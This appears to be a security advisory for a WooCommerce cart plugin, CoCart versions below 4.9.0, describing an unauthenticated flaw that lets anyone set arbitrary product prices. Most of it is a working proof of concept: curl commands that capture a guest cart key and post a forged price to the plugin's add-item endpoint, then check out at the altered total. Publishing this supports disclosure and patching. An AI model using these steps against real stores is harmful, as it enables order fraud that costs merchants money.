CoCart < 4.9.0 – Unauthenticated Arbitrary Price Manipulation | CVE 2026-10524

Description

The plugin does not validate a user-supplied price value against the actual product price when items are added to the cart through one of its public REST API endpoints, allowing unauthenticated users to set arbitrary product prices and complete WooCommerce orders at manipulated totals.

Proof of Concept

Prerequisites:
- WooCommerce and CoCart active (default configuration)
- WooCommerce guest checkout enabled
- At least one published product (here: product ID 9, real price 100)

# 1) Create a guest WooCommerce cart/session and save the cookies
curl -sk -c jar.txt -b jar.txt -L "https://target.tld/?add-to-cart=9&quantity=1"

# 2) Read the wp_woocommerce_session_* cookie from jar.txt. The CoCart cart key
#    is the first field of its value (everything before the first "|"),
#    e.g. "t_76482a7edd4844cbb81ab3cfec54b7".

# 3) As an unauthenticated user, override the price via the CoCart add-item
#    endpoint, targeting that session through the CoCart-API-Cart-Key header
curl -sk -X POST "https://target.tld/wp-json/cocart/v2/cart/add-item" \
  -H "Content-Type: application/json" \
  -H "CoCart-API-Cart-Key: t_76482a7edd4844cbb81ab3cfec54b7" \
  -d '{"id":"9","quantity":"1","price":"1"}'

# 4) Confirm the manipulated price now applies to the shared WooCommerce cart
curl -sk -b jar.txt "https://target.tld/wp-json/wc/store/v1/cart"
#    -> totals.total_price reflects the attacker-supplied price (1.00/unit),
#       not the real product price (100.00).

# 5) Complete checkout normally (WooCommerce Store API /checkout or the standard
#    checkout page) using the same session. The created order total reflects the
#    manipulated price (e.g. order total 2.00 for 2 units of a 100.00 product).